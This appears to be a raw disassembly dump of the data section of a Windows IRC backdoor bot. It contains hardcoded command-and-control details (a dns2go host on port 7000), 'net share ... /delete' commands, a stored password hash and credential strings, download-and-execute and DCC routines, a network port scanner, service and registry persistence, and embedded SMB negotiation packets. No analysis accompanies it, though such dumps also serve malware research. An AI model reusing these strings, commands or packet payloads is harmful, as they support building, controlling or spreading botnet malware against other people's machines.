dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441F68h, 4 dup(0)
dd offset loc_42AF54
align 10h
dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441FC8h, 4 dup(0)
dd offset loc_42B031
align 10h
dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0
dd offset loc_43BBA8
dd 1, 43BBB0h, 2 dup(0)
dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0)
dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0)
dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0)
dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0)
dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0)
dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
dd 43BCA8h, 2 dup(0)
dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh
dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0)
dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0
dd offset loc_43BDEB
align 10h
dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0)
dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0)
dd offset aRrrrrrrrrrrrrr+1Fh
dd 106h dup(0)
aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
; DATA XREF: sub_4034E0+7Fo
db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
align 4
dd 8 dup(0)
asc_4435EC: ; DATA XREF: sub_4034E0+66o
; sub_40FF60:loc_41083Eo ...
unicode 0, <|>,0
aS db '%s',0 ; DATA XREF: sub_404C70+875o
; sub_404C70+AF1o ...
align 4
aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o
; sub_404C70+B5Eo ...
align 10h
asc_443600: ; DATA XREF: sub_404640:loc_40471Fo
; sub_404640+1EDo ...
unicode 0, < >,0
aO db ' -o',0 ; DATA XREF: sub_404640+75o
; sub_40FF60:loc_410949o ...
aNetShareAdminD db 'net share admin$ /delete /y',0
dd 2 dup(0)
aNetShareIpcDel db 'net share ipc$ /delete /y',0
align 4
dd 0
aNetShareDDelet db 'net share d$ /delete /y',0
align 8
aNetShareCDelet db 'net share c$ /delete /y',0
dd 0
dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ...
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
align 8
aN: ; DATA XREF: sub_404C70+D23o
unicode 0, <N>,0
aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o
align 4
aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
align 10h
dd 0
aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o
align 10h
aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o
align 10h
dd 0
aOpen db 'open',0 ; DATA XREF: sub_404C70+447o
; sub_41C030+Eo
align 4
aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o
; sub_404C70+9B1o ...
align 4
dd 0
aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o
align 10h
aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
; DATA XREF: sub_406890+20Fo
db 'me: %dd %dh %dm box: %s. user: %s.',0
dd 5 dup(0)
aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o
dd 0
a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo
a2003 db '2003',0 ; DATA XREF: sub_406890+F4o
align 10h
aXp db 'XP',0 ; DATA XREF: sub_406890+EAo
align 4
a2000 db '2000',0 ; DATA XREF: sub_406890+DEo
align 4
aMe db 'ME',0 ; DATA XREF: sub_406890+C7o
align 10h
a98 db '98',0 ; DATA XREF: sub_406890+BBo
align 4
aNt db 'NT',0 ; DATA XREF: sub_406890+AFo
align 4
a95 db '95',0 ; DATA XREF: sub_406890+9Co
align 4
aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo
; ___:00406E35o
align 4
aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o
; sub_40EC30+88o
align 10h
aUpdate db '-update',0 ; DATA XREF: ___:00406D73o
dd 0
dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086D8o ...
dword_4437F8 dd 40h ; sub_40FF60+7CCo ...
aHotfix db 'hotfix',0 ; DATA XREF: sub_407790+394o
align 4
aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+383o
align 8
aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+372o
align 4
aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o
align 4
dd 0
aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+350o
align 8
aHail db 'Hail-',0 ; DATA XREF: sub_407790+342o
align 10h
aWintwir db 'wintwir',0 ; DATA XREF: sub_407790+331o
dd 0
aMsnnmaneger_ex db 'msnnmaneger.exe',0 ; DATA XREF: sub_407790+320o
align 10h
aServec db 'servec',0 ; DATA XREF: sub_407790+30Fo
align 4
aS_1 db '#s',0 ; DATA XREF: sub_407790+2FEo
align 4
aScop db '#scop#',0 ; DATA XREF: sub_407790+2EDo
align 4
aSaad db 'saad',0 ; DATA XREF: sub_407790+2A9o
; sub_407790+2DCo
align 4
a7000 db '7000',0 ; DATA XREF: sub_407790+298o
; sub_407790+2CBo
align 4
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
; sub_407790+2BAo
align 10h
off_4438C0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co
align 8
a_?avexception@ db '.?AVexception@@',0
align 10h
off_4438E0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
dd 2 dup(0)
off_443908 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o
; ___:0040A971o
dd 2 dup(0)
aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo
; sub_40B700+43o ...
align 4
aF db '%f',0 ; DATA XREF: ___:0040B79Fo
align 10h
aFalse db 'false',0 ; DATA XREF: ___:0040B844o
align 4
aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
align 10h
dd 0
aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o
align 10h
aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
dd 0
aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o
align 4
aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
align 4
dd 0
aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0
; DATA XREF: sub_40C400+48Ao
align 10h
aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
align 10h
aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o
align 10h
dword_443A30 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C400+296o
dd 169h, 0
aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
align 4
dd 0
aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
align 8
aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
align 8
aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
align 8
aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
align 10h
aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o
dd 0
asc_443B04: ; DATA XREF: sub_40CBB0+113o
; sub_4200F0+100o
unicode 0, <\>,0
aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o
align 4
aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo
align 10h
aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o
align 10h
aBai_0 db ' -bai ',0
align 4
aSCS db '%s%c%s',0
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o
align 10h
dd 0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
align 10h
dd 0
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
align 10h
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o
align 10h
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
align 4
dd 0
aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah,0
align 4
dd 2 dup(0)
aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao
align 8
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o
; sub_40EF90+Ao ...
align 4
dd 0
aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o
align 10h
aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
align 10h
dd 0
aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o
align 8
aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
align 10h
dd 0
asc_443C84 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo
; sub_40FF60+1118o ...
align 4
asc_443C88: ; DATA XREF: sub_40FF60+CACo
; sub_40FF60+D15o ...
unicode 0, <!>,0
aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o
; sub_40FF60:loc_410BB7o
aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo
; sub_40FF60:loc_410B96o
asc_443C94: ; DATA XREF: sub_40FF60+871o
; sub_40FF60:loc_410BD8o ...
unicode 0, <:>,0
aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
; sub_40FF60+732o ...
align 8
aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 10h
dd 0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o
; sub_4126B0+91o ...
dd 0
dword_443CD4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4 dd 0A0D7325h, 0 ; sub_42D1A0+71o
dword_443CEC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo
dword_443CFC dd 4255505Bh, 5D43494Ch, 0dword_443D08 dd 4952505Bh, 45544156h, 5Dhdword_443D14 dd 202Eh ; sub_4126B0+E5o
dword_443D18 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o
align 4
aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o
align 10h
aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao
align 4
asc_443D34: ; DATA XREF: ___:loc_412E63o
dw 3Ch
unicode 0, <>,0
asc_443D38: ; DATA XREF: ___:loc_412E4Co
dw 3Eh
unicode 0, <>,0
asc_443D3C db '==',0 ; DATA XREF: ___:loc_412E35o
align 10h
asc_443D40 db '!=',0 ; DATA XREF: ___:00412E21o
align 4
a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o
align 4
aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o
align 4
aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo
align 4
aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o
; sub_4192C0+297o
align 4
aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o
align 10h
aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o
align 10h
off_443D80 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o
; ___:0042B302o ...
dword_443D84 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo
dword_443D90 dd 652Dh dword_443D94 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
align 10h
aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o
align 4
aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo
align 10h
byte_443DD0 db 1 ; DATA XREF: sub_41A290r
align 4
dword_443DD4 dd 2Eh ; ___:0041B235o ...
dword_443DD8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_443E24 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0dword_443E38 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84 dd 63257325h, 0 ; sub_41F860+E5o
dword_443E8C dd 72h dword_443E90 dd 30h ; sub_424840+327o
dword_443E94 dd 3039h dword_443E98 dd 383631h dword_443E9C dd 323931h dword_443EA0 dd 3631h dword_443EA4 dd 323731h dword_443EA8 dd 3031h off_443EAC dd offset loc_5C005C ; DATA XREF: ___:0041C117r
; ___:0041C287r
word_443EB0 dw 0 ; DATA XREF: ___:0041C121r
; ___:0041C291r
align 4
off_443EB4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r
; ___:0041C256r
dword_443EB8 dd 430050h ; ___:0041C25Br
dword_443EBC dd 24h ; ___:0041C27Fr
dd 0
aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
align 4
aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo
align 4
aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o
align 8
asc_443EF8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo
db 0Dh,0Ah,0
align 10h
aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o
align 10h
aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o
; ___:0041FC87o
align 4
aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo
align 4
aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
db 'Connection: Keep-Alive',0Dh,0Ah
db 'User-Agent: Mozilla/4.5',0Dh,0Ah
db 'Host: %s:%d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dd 4 dup(0)
aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
align 4
aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o
align 4
dd 0
aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao
align 4
aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o
align 4
aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo
align 10h
aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo
align 10h
aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo
dd 0
dword_443FFC dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C dd 6469706Bh, 7325203Ah, 0dword_444018 dd 203A736Bh, 7325hdword_444020 dd 202E6425h, 7325202Fh, 0dword_44402C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
align 10h
a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o
; sub_41EF30+6A9o
align 4
a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o
; sub_41EF30+677o
align 10h
aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
; DATA XREF: sub_41EF30+62Bo
align 4
dd 2 dup(0)
aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo
align 10h
a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o
; sub_41EF30+51Ao
align 4
asc_4440A8: ; DATA XREF: sub_41EF30+2EFo
; sub_41EF30+33Ao ...
unicode 0, <,>,0
a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o
; sub_41EF30+29Bo ...
align 4
a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o
; sub_41EF30+269o
align 4
a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o
; sub_41EF30+237o
align 4
a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o
; sub_41EF30+205o
align 4
aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
align 8
aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
align 4
dd 0
aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o
; sub_420530+C4r ...
align 10h
aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo
; sub_4207E0+316o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
; sub_4207E0+2BEo
align 8
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
align 8
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
align 10h
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o
align 10h
aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o
; sub_420530+34o
align 4
aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co
align 4
aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do
dd 0
aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
align 10h
aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o
align 4
aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo
align 4
aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o
align 10h
aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o
align 4
aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo
dd 0
aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo
align 10h
aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o
dd 0
aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o
align 4
aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo
align 4
aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o
align 4
aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o
dd 0
aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do
align 8
aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o
align 10h
aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o
dd 0
aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co
align 8
aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
align 4
aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o
align 4
aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo
align 10h
aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o
align 4
aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o
align 4
aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao
align 4
aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo
align 4
aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
align 4
aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o
align 8
aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo
align 4
aNla db 'Nla',0 ; DATA XREF: sub_4207E0+E3o
aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o
align 10h
aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo
align 4
off_44433C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o
aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo
dd 0
aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
align 10h
dd 0
aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo
align 4
aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o
align 10h
aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
align 10h
dd 2 dup(0)
aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o
align 8
aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do
align 4
aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o
align 4
aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do
align 4
aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o
align 4
aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do
align 4
aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o
align 4
aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do
dd 0
aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o
; sub_4207E0:loc_420A6Bo
align 10h
asc_444410: ; DATA XREF: sub_420E10:loc_420ECFo
; sub_420E10+F9o ...
unicode 0, </>,0
aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o
; sub_420E10:loc_42107Eo ...
aHttp db 'http',0 ; DATA XREF: sub_420E10+84o
; sub_420E10+257o ...
align 10h
aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o
dd 0
dd 73610000h, 6Eh, 6 dup(0)
dword_444448 dd 1BDh ; sub_422A40+310o ...
off_44444C dd offset sub_401811 ; DATA XREF: ___:00423E93r
dword_444450 dd 0 ; sub_4235F0+3Ar ...
dd 1, 0
aAsn2 db 'asn2',0
align 4
dd 73610000h, 326Eh, 6 dup(0)
dd 1BDh, 401811h, 0
dd 1, 19h dup(0)
aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
; DATA XREF: sub_422A40+8F3o
db 0
align 4
dd 3 dup(0)
aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o
align 8
aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo
align 10h
aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
align 4
dd 0
aB db ' -b',0 ; DATA XREF: sub_422A40+747o
off_444580 dd offset dword_612D20 ; DATA XREF: sub_422A40+737o
; sub_422A40+7A3o ...
dword_444584 dd 722D20h ; sub_422A40+7E5o
aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
align 10h
aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o
align 10h
aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo
align 4
aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o
align 4
aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
align 10h
aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
align 8
aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
align 8
aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
align 10h
aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
align 8
aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do
align 4
dd 0
dword_44467C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
align 10h
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o
align 10h
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
align 10h
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
align 8
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
align 10h
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:00423CD6o
align 10h
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: ___:004241D7o
align 4
dd 3 dup(0)
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: ___:00424126o
dd 3 dup(0)
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:0042406Fo
dd 3 dup(0)
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424840+BDo
align 10h
dword_444840 dd 10FF8h, 0 dword_444848 dd 10FF8h dword_44484C dd 7FFDF020h, 0 dword_444854 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448DC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_44490C dd 0 dword_444910 dd 800000D4h align 8
